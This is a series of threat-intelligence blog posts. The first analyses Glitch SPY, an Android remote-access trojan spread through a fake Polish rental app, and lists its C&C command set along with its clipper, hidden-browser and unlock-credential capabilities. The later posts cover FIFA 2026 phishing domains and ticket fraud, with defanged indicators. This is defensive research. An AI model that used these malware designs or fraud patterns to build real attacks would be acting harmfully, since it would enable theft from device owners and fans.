• The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.

Overview

Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, based on branding observed on an exposed command-and-control (C&C) admin panel. The malware was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.

The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.

The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.

Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.

During analysis, the malware was observed communicating with the C&C domain sportypointsrewards[.]com. Accessing the C&C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.

However, no communicating APK associated with that second panel has been recovered at the time of analysis.

Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:

• The Agents module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.
• The Viewer module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.
• The Builder module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.
• The Cryptor module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.
• The Dropper module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.
• The Payloads module appears to store APKs generated by the Builder and Dropper modules.

Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.

After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.

This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.

A detailed technical analysis of these capabilities is provided in the following section.

Technical Analysis

The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.

After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.

Abuse of Android Accessibility Service

Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.

The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.

Command and Control

After installation, Glitch SPY starts its core C&C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.

The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.

The complete list of commands is provided below.

Command	Feature
request_screen_stream	Starts live screen streaming from the infected device to the C&C panel.
stop_screen_stream	Stops the active screen-streaming session.
request_screenshot	Captures a screenshot of the infected device screen and returns it to the C&C.
request_screen_reader_text	Uses Accessibility to extract visible on-screen text and send it to the C&C Server.
request_sms	Collects SMS messages from the infected device.
send_sms	Sends an SMS message from the infected device using TA provided content.
request_contacts	Extracts the victim’s contact list.
request_call_log	Collects call history from the infected device.
request_location	Retrieves the device location.
request_app_list	Enumerates installed applications on the device.
request_device_accounts	Collects account information configured on the Android device.
request_system_info	Collects device metadata
request_file_list	Lists files and folders from a specified path on the device.
request_file_download	Downloads a selected file from the infected device to the C&C.
request_folder_zip_download	Compresses a folder and prepares it for download
file_upload_start	Starts a file upload session.
file_upload_chunk	Transfers a chunk of a file being uploaded to the infected device.
file_upload_finish	Finalizes the file upload operation on the device.
file_upload_cancel	Cancels an active file upload session.
file_mkdir	Creates a new directory on the infected device.
file_rename	Renames a selected file or folder on the device.
file_run	Opens or executes a selected file on the infected device.
file_zip_here	Creates a ZIP archive next to the selected folder on the device.
file_crypto_lock	Encrypts a selected file, likely producing a .enc file and removing the original.
file_crypto_unlock	Decrypts a previously encrypted .enc file.
request_offline_keylog	Retrieves offline keylog data from the device.
start_keylogger	Starts keylogging
stop_keylogger	Stops the active keylogging module.
request_camera_stream	Starts camera streaming from the infected device.
stop_camera_stream	Stops the active camera stream.
start_audio	Starts audio capture from the infected device.
stop_audio	Stops audio capture.
start_clipboard_monitor	Starts monitoring the device clipboard.
stop_clipboard_monitor	Stops clipboard monitoring.
clipper_get_config	Retrieves the current crypto-clipper configuration from the device.
clipper_set_config	Pushes or updates clipper rules, likely including wallet replacement addresses.
clipper_inject_clipboard	Forces/injects clipboard content on the victim device.
execute_command	Executes a TA-provided shell command on the infected device.
remote_browser_start	Starts a remote browser session on the infected device.
remote_browser_stop	Stops the remote browser session.
remote_browser_navigate	Navigates the remote browser to a supplied URL.
remote_browser_click	Performs a click action inside the remote browser session.
remote_browser_text	Enter the TA-provided text into the remote browser.
remote_browser_swipe	Performs a swipe gesture inside the remote browser session.
remote_browser_key	Sends keyboard key actions to the remote browser, such as Enter, Backspace, Tab, or arrow keys.
remote_browser_js_fill	Fills fields in the remote browser using JavaScript-style automation.
remote_browser_clear_field	Clears a selected input field in the remote browser.
remote_browser_action	Performs a generic browser-side action, likely used for submit, back, reload, or similar UI actions.
remote_browser_set_mode	Switches the remote browser view mode, such as desktop/mobile mode.
remote_browser_fps	Adjusts the remote browser streaming or update frame rate.
tap_ui_submit	Attempts to tap a visible submit/OK/Done button or sends Enter to submit the current UI.
pattern_fetch	Retrieves a stored Android unlock pattern from the malware/device-side store.
pattern_store	Saves a TA-provided Android unlock pattern for later reuse.
pattern_clear_store	Clears the saved unlock pattern from storage.
pattern_auto_unlock	Uses a saved or provided pattern to attempt automatic device unlock.
credential_fetch	Retrieves a stored PIN/password credential value or credential state.
credential_manual_save	Saves a PIN/password credential provided by the TA on the device side.
credential_manual_save_unlock	Saves a supplied credential and immediately attempts to unlock the device with it.
credential_auto_unlock	Attempts to unlock the device automatically using a previously captured or saved credential.
credential_clear	Clears the stored PIN/password credentials from the malware’s storage.
prompt_permission_notifications	Opens or triggers the Android notification permission flow.
prompt_permission_storage	Opens or triggers the storage permission flow.
prompt_permission_location	Opens or triggers the location permission flow.
prompt_permission_battery	Opens the battery optimization exemption flow.
prompt_permission_all_files	Opens the “All files access” permission screen.
activate_device_admin	Launches or triggers Device Admin activation for the malware.
deactivate_device_admin	Attempts to remove Device Admin rights from the malware.
block_biometric	Enables/disables biometric prompt suppression to force PIN/password fallback.
wake_screen	Wake the victim's device screen.
lock_device	Locks the device screen
hide_screen	Hides the visible device screen from the victim's side
hide_app	Hides the malware application icon or disables its launcher component.
show_app	Restores the malware application launcher component.
self_uninstall	Attempts to uninstall the malware from the device.
uninstall_app	Attempts to uninstall a specified application from the device.

Screen Capture and Live Streaming

Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.

When the TA issues the request_screen_stream command from the C&C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.

The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.

For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.

This allows the malware to collect sensitive information displayed in banking applications, messaging apps, OTP prompts, browser pages, and authentication screens.

In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.

File Manager and File Encryption

Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&C as a file listing.

If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.

Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.

The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.

Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.

Crypto Clipper Functionality

The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied cryptocurrency wallet addresses with TA-configured addresses.

The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.

When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.

If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.

If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.

After the replacement, the malware reports the event to the C&C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.

Remote Browser Capability

Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.

The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&C server. This allows the TA to confirm that the browser session is active and ready for interaction.

The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.

When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.

The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.

This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.

In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.

Conclusion

Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.

Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.

The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.

While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.

Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.

Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	Glitch SPY is distributed via phishing sites
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	Glitch SPY implemented a broadcast receiver for screen capturing
Defense Evasion (TA0030)	Impair Defenses: Prevent Application Removal (T1629.001)	Prevent uninstalling application
Defense Evasion (TA0030)	Hide Artifacts: Suppress Application Icon (T1628.001)	Glitch SPY hides its icon
Defense Evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	Glitch SPY masquerades as a Polish rental application
Defense Evasion (TA0030)	Input Injection (T1516)	Glitch SPY can perform actions such as Clicks, swipes, gestures, and enter text into edit fields.
Credential Access (TA0030)	Abuse Accessibility Features (T1453)	Glitch SPY abuses Accessibility service
	Input Capture: Keylogging (T1417.001)	Glitch SPY includes a Keylogging module
Discovery (TA0032)	Software Discovery  (T1418)	Glitch SPY collects installed applications
Discovery (TA0032)	File and Directory Discovery (T1420)	Glitch SPY can enumerate files from external storage
Discovery (TA0032)	Location Tracking (T1430)	Glitch SPY can collect device location
Discovery (TA0032)	System Information Discovery (T1426)	Glitch SPY can collect device information
Collection (TA0035)	Archive Collected Data (T1532)	Glitch SPY compresses the external storage directories as a zip file before sending
Collection (TA0035)	Screen Capture (T1513)	Glitch SPY captures screen content
Collection (TA0035)	Audio Capture (T1429)	Glitch SPY can capture Audio
Collection (TA0035)	Clipboard Data (T1414)	Malware can monitor Clipboard content
Collection (TA0035)	Data from Local System (T1533)	Malware collects encrypted files from external storage
Collection (TA0035)	Protected User Data: Contact List (T1636.003)	Malware collects contact details
Collection (TA0035)	Protected User Data: SMS Messages (T1636.004)	Glitch SPY collects SMS data
Collection (TA0035)	Protected User Data: Accounts (T1636.005)	Malware collects Account information
Collection (TA0035)	Protected User Data: Call Log (T1636.002)	Glitch SPY collects Call logs
Command & Control (TA0037)	Application Layer Protocol (T1437)	Glitch SPY communicates with C2 over TCP
Exfiltration (TA0036)	Exfiltration Over C2 Channel (T1646)	Glitch SPY exfiltrates data to the C&C server
Impact (TA0034)	Data Encrypted for Impact (T1471)	Malware encrypts all the files present on the device with the .enc extension
Impact (TA0034)	Data Destruction (T1662)	Glitch SPY deletes all plain-text files after encryption

Indicators of Compromise (IOCs)

Indicators	Indicator type	Description
hxxps://tutaj-dompl[.]com/Tutajdom.apk	URL	Distribution URL
sportypointsrewards[.]com	Domain	C&C server
80af5e921cf8a3052fe4483bb2eb15953590e72ed003ac61c0b9135575c32075	FileHash-SHA256	Glitch SPY Hash
d439475bf09af7b474cdba2c19e136a1dd38e62b088537445ac3c8e4c2d3a8b1	FileHash-SHA256	Brokewell Loader

The post Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App appeared first on Cyble.

Executive Summary 

The FIFA World Cup 2026 has become more than a global sporting event. It has evolved into a large-scale cybercrime opportunity exploited by threat actors through a coordinated ecosystem of fraudulent domains, social media channels, messaging platforms, pirated streaming services, and dark web activity. Since May 2026, Cyble Research and Intelligence Labs (CRIL) has identified nearly 4,000 domains impersonating FIFA-related brands, ticketing platforms, streaming services, and fan-facing resources. 
 
Operation FanTrap reveals how threat actors are building end-to-end fraud operations designed to attract, engage, and monetize football fans worldwide. Victims are lured through fake ticket offers, VIP access schemes, counterfeit hospitality portals, and unauthorized streaming platforms. Evidence also shows victims being redirected to private communication channels such as Telegram and WhatsApp, where payment fraud, credential theft, and identity harvesting occur. 
 
CRIL’s investigation also identified growing dark web activity linked to the tournament, including claims of football-sector identity data leaks and discussions around ticket resale opportunities. While the authenticity of some leak claims remains under investigation, their circulation highlights the increasing convergence of fan-targeted fraud, identity theft, and cyber-enabled financial crime. 
 
The campaign demonstrates how major international events create a scalable environment for cybercriminal operations. Through multilingual targeting, extensive infrastructure deployment, and diversified monetization strategies, threat actors are transforming global sporting events into sustained cybercrime ecosystems. 

Key Takeaways 

• Operation FanTrap is a coordinated investigation into the broader fraud ecosystem exploiting global interest in FIFA events 

• Nearly 4,000 FIFA-themed domains were identified supporting phishing, ticket fraud, VIP scams, streaming lures, and brand impersonation. 

• The websites used a multilingual infrastructure to maximize victim reach, with a particularly strong focus on Chinese-speaking audiences. 

• Telegram and WhatsApp function as transaction layers where victims are moved from public-facing infrastructure into private fraud workflows. 

• Pirated streaming platforms serve as credential theft and payment fraud funnels rather than simple copyright violations. 

• Dark web discussions and alleged football-sector identity leaks create opportunities for targeted social engineering and secondary monetization. 

Campaign overview 

Parameter	Observed Value
Campaign Codename (CRIL)	Operation FanTrap
Monitoring Window	May 2026 – June 2026 (ongoing)
Dominant Fraud Categories	Ticket scam, VIP access fraud, pirate streaming, phishing
Primary Target Demography	Chinese-speaking fans, Korean fans, Latin American fans
Dark Web Activity	Forum-based ticket resale fraud; identity data leak claims

The FIFA World Cup 2026 will span the US, Canada, and Mexico, with a 48-team format and global broadcast reach. CRIL's monitoring uncovered significant spikes in malicious domain registrations mapped to specific attack themes, demonstrating how threat actors rapidly adapted their infrastructure to capitalize on tournament-related interest. 

Anatomy of the FIFA 2026 Fraud Ecosystem 

Domain Patterns - The Fraud Ecosystem 

Threat actors leveraged ticketing, VIP access, official branding, and live streaming to broaden their victim pool. Examples of these domain patterns are shown in the table below. 

Domain Pattern	Example Domains	Count	Fraud Category
zh-[term]-fifa.com	zh-worldcuphub-fifa.com, zh-nowlive-fifa.com	541	Chinese-language phishing/streaming
cn-[term]-fifa.com	cn-vpn-fifa.com, cn-setting-fifa.com	372	Chinese-language credential/VPN phishing
[term]-worldcup-fifa.com	play-worldcup-fifa.com, vip-worldcup-fifa.com	413	Brand impersonation
[term]-wc-fifa.com	cctv-maiqiu-fifa-wc.com, ssl-cn-fifa-wc.com	391	Ticketing/streaming fraud
fifa-ticket-[term].com	fifa-ticket-26.com, fifa-freetickets.*.top	10+	Ticket scam
fifa-vip-[term].com	fifa-vip-huya.com, fifa-vip-wcplay.com	84	VIP/premium access fraud
official-[term]-fifa.com	official-live-fifa.com, official-2026-fifa.com	87	Brand authority impersonation
live-[term]-fifa.com	vip-live-fifa.com, web-live-fifa.com	219	Pirate streaming
maiqiu variants	chn-maiqiu-fifa-worldcup.com, cctv-maiqiu-fifa.com	51	Chinese ticket-buying fraud

The extensive use of zh-, cn-, and Chinese-language World Cup labels such as shijiebei, pankou, and maiqiu highlights a deliberate focus on Mandarin-speaking audiences. This targeting extends beyond traditional ticket fraud to encompass betting platforms, media-themed credential theft, piracy lures, prize scams, and counterfeit merchandise. This signals a persistent and organized fraud ecosystem designed to capitalize on China's large football fanbase and strong demand for World Cup-related content and services. 

Dark Web Intelligence 

We also identified a growing ecosystem of ticket resale fraud on Telegram and WhatsApp, as well as pirated streaming lures. Both are actively used to monetize fan interest and facilitate fraud, credential harvesting, and other malicious activity. 

Resell Traps on Messaging Services. 

Monitoring of deep- and dark-web sources identified numerous advertisements and reseller communities promoting FIFA World Cup tickets via Telegram and WhatsApp. Fraudsters frequently use these platforms because they facilitate private, direct communication while limiting oversight and accountability.  

Threat actors often establish credibility through fabricated testimonials, forged purchase confirmations, edited screenshots, recycled ticket images, and scripted customer-support interactions. However, such indicators of legitimacy can be easily manufactured and should not be considered proof of ticket ownership or delivery capability. Additionally, the closed nature of these channels enables attackers to create a sense of urgency, collect payments, and disengage victims with minimal traceability. 

The example below illustrates a Telegram-based ticket resale advertisement identified during monitoring, highlighting the use of unofficial and potentially fraudulent sales channels. 

The pirated stream trap: free football, expensive consequences 

Pirated streaming sites exploit fans seeking free access to World Cup matches, using geo-restrictions, subscription costs, and broadcast limitations as bait. Rather than delivering live streams, many function as fraud and malware distribution platforms, employing fake video players, deceptive download prompts, browser notification prompts, and fraudulent free-trial offers to harvest credentials, payment information, and user data.  

To evade detection, we identified domains that avoid FIFA- or World Cup-related keywords in domain names. These links are promoted through fan forums, Discord servers, Telegram channels, and WhatsApp groups, lending credibility to malicious infrastructure. 

Examples identified during monitoring include: 

• footybite[.]vc 

• epicsports[.]in 

• footballnewslive[.]online 

• totalsportek[.]online 

• sportshub[.]fan 

• streameast[.]im 

The risk is beyond legal or copyright concerns. For many fans, the real danger lay in the broader cybersecurity ecosystem surrounding these platforms. Pirated streaming sites and services often acted as data collection points, quietly harvesting email addresses, passwords, payment details, phone numbers, and device information. 

Unofficial streaming apps and APK files added another layer of risk. They frequently requested excessive permissions, delivered intrusive ads, tracked user activity, and in some cases, served as entry points for malware. What seemed like a convenient way to watch a match could quickly turn into a channel for data exposure and system compromise. 

Ticket Scams and VIP Access Fraud  

Forum-based ticket promotions added another layer of risk to World Cup scams by combining resale listings with the appearance of community trust. Sellers often seemed more credible than random social media accounts, as consistent posting, forum history, and visible profile activity created a sense of legitimacy. However, this credibility could be misleading. Fans should remain cautious, as an active profile did not guarantee ticket authenticity, official authorization, secure payments, or a successful transfer—even within seemingly trusted communities. 

Identity and PII leak claims  

CRIL also observed forum discussions about leaked football-related identity data, highlighting how World Cup–related cybercrime can extend beyond fan scams into the broader football ecosystem. For example, one post titled “150k+ football passports leaked weeks before FIFA World Cup” claimed that passport scans and personal details of over 150,000 AFC and Al Nassr FC players and coaches had been exposed. The alleged leak included sensitive information such as full names, passport numbers, scans, dates of birth, nationalities, player roles, club affiliations, email addresses, contracts, AFC IDs, and even match or venue details.  

Such claims require independent forensic verification before a confirmed breach status can be assigned. Regardless of authenticity, the circulation of this data in the pre-tournament window confirms threat actors are actively seeking to monetize football-sector identity assets. If the record set is genuine, it enables targeted spear-phishing against club staff, agent impersonation in transfer fraud, contract manipulation, and abuse of venue access credentials. 

Connecting the Ecosystem – Attack Lifecycle 

By correlating our findings and research, we reconstructed the end-to-end attack chain used by threat actors. The analysis demonstrates how these seemingly independent activities are strategically aligned around the global popularity of FIFA events, enabling attackers to exploit fan enthusiasm, urgency, and trust. Together, these components form a coordinated FIFA-themed fraud ecosystem designed to attract victims, harvest sensitive information, facilitate financial fraud, and generate sustained criminal revenue.

The stages are as follows: 

• Stage 1 – Infrastructure Preparation: Registration of FIFA-themed domains and supporting online assets. 
• Stage 2 – Victim Acquisition: Promotion through search engines, social platforms, forums, messaging communities, and streaming portals. 
• Stage 3 – Engagement and Conversion: Fake ticket sales, VIP packages, hospitality offers, and streaming access are used to build trust. 
• Stage 4 – Data Collection: Harvesting of credentials, payment information, personal identifiers, and communication details. 
• Stage 5 – Monetization: Fraudulent payments, resale scams, credential abuse, phishing campaigns, and potential resale on the dark web of collected information. 

Conclusion 

Operation FanTrap demonstrates how global sporting events have evolved into highly attractive targets for organized cybercriminal activity. Rather than relying on isolated phishing campaigns or opportunistic scams, threat actors are building interconnected ecosystems that combine malicious infrastructure, social engineering, messaging platforms, streaming lures, and dark web activity to maximize financial returns. 

The nearly 4,000 domains identified by CRIL represent only one layer of a broader operation designed to exploit fan enthusiasm, event urgency, and global online engagement. Ticket scams, VIP access fraud, streaming lures, and alleged football-sector identity leaks collectively illustrate how attackers are diversifying their monetization strategies throughout the tournament lifecycle. 

As the FIFA World Cup 2026 continues, organizations, broadcasters, ticketing providers, and fans should view these activities not as isolated incidents but as components of an active and evolving cybercrime ecosystem. Continuous monitoring, rapid infrastructure disruption, dark web visibility, and proactive user awareness will remain critical to reducing risk throughout the tournament. 

CRIL will continue tracking this cluster and updating IoCs as new infrastructure emerges. All indicators are submitted to Cyble's threat feeds and accessible to Vision platform customers. Fan-facing brands, ticketing platforms, and event organizers should treat this as an active threat and prioritize domain monitoring and takedown workflows throughout the tournament. 

Recommendations 

Based on the findings presented above, CRIL recommends the following actions for immediate consideration by security teams and organizations: 

• Implement keyword-aware domain monitoring that flags FIFA, tournament branding, and language-prefix patterns (zh-, cn-, kr-) as compounding risk signals alongside registrar identity, TLD, and domain age. 

• Build takedown workflows that account for Cloudflare-proxied infrastructure — abuse requests must target the underlying origin, not the CDN layer, to be operationally effective. 

• Integrate campaign-cluster pivoting from confirmed IoCs into threat hunting workflows, using shared IP subnets and registrar concentration as primary pivot axes. 

• Apply multi-platform fraud funnel awareness: detection should extend beyond domains to Telegram and WhatsApp channels used for off-platform transaction completion. 

• For ticketing platforms and official broadcasters: issue proactive fan advisories confirming that legitimate ticket transactions will never be negotiated via private messaging apps or unverified resale portals. 

• Revise security awareness materials to teach structural URL interpretation — with specific focus on identifying lookalike FIFA domains that embed official terminology in subdomains or hyphenated strings rather than the root registered domain. 

• Monitor dark web forums for emerging data leak claims targeting football organizations, and treat leaked PII — particularly passport and contract data — as an active social engineering enabler requiring targeted victim notification. 

The need for a proactive cyberdefense stance 

The current threat landscape includes a multitude of Social Engineering campaigns. Security teams need more than reactive controls to keep ahead of these. 

Solutions such as Cyble Vision deliver operational intelligence that enables defenders to stay ahead of adversaries through early detection, campaign-level visibility, and infrastructure mapping. 

Cyble Vision specifically empowers security teams to move beyond isolated detection, providing the strategic insight needed to anticipate threats, monitor adversary activity, and respond with precision at every stage of the attack lifecycle. Security teams can take necessary preventive action with the help of: 

• Real-Time IOC Monitoring 
  Enable continuous tracking of indicators tied to adversary infrastructure before they reach end users. 

• Credential Phishing Infrastructure Mapping 
  Map attacker-controlled infrastructure, including fake authentication portals, dynamic exfiltration endpoints, and backend logic designed to capture credentials. 

• Brand and Executive Impersonation Monitoring 
  Detect domain spoofing and impersonation attempts targeting internal functions such as HR and Finance—often used to increase trust and exploit user familiarity. 

• Deep and Dark Web Visibility 
  Surface chatter, leaked credentials, and phishing toolkits from deep/dark web sources, offering early insight into attacker preparation and target selection. 

• Global Targeting Intelligence 
  Track phishing activity across global regions—including North America, EMEA, and APAC—as well as over 70 industry sectors, providing defenders with contextual understanding of targeting patterns. 

• Threat Actor Attribution and TTP Correlation 
  Associate infrastructure, techniques, and behavioral patterns with known threat actors, empowering security teams to prioritize response based on adversary capability and intent. 

MITRE ATT&CK® Techniques 

Tactic	Technique ID	Technique Name
Resource Development	T1583.001	Acquire Infrastructure: Domains
Resource Development	T1583.006	Acquire Infrastructure: Web Services
Resource Development	T1585.001	Establish Accounts: Social Media Accounts
Initial Access	T1566.002	Phishing: Spearphishing Link
Credential Access	T1056.003	Web Portal Capture
Command and Control	T1102	Web Service
Impact	T1657	Financial Theft

Indicators of Compromise (IOCs) 

The IOCs have been added to this GitHub repository. Please review and integrate them into your Threat Intelligence feed to enhance protection and improve your overall security posture. 

The post Operation FanTrap: Inside the FIFA 2026 Fraud Ecosystem appeared first on Cyble.

The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 

The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. 

With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why cybercriminals are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. 

See which domains targeting your brand are active right now
Run a Free External Threat Report

How FIFA World Cup 2026 Scams Work 

The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. 

The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. 

The most common technical method is typosquatting — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. 

The FBI flagged the following domains as fraudulent FIFA-related sites: 

www.fifa[.]cab	www.fifa[.]pink
www.fifa[.]blue	www.fifa[.]pub
FIFA[.]city	Fifa[.]bio
fifa[.]beer	fifa[.]click
fifa[.]cam	fifa[.]ceo
fifa[.]help	filfa[.]org
fifa-online[.]com	https://fifa-2026[.]xyz
jobs-fifa[.]com	fifa-hr[.]com
fifa-careerhub[.]com	fifaworldcup-careers[.]com
fifa-hiring[.]com	fifahiring[.]com
fifa-ticket[.]live	fifastore.us[.]com
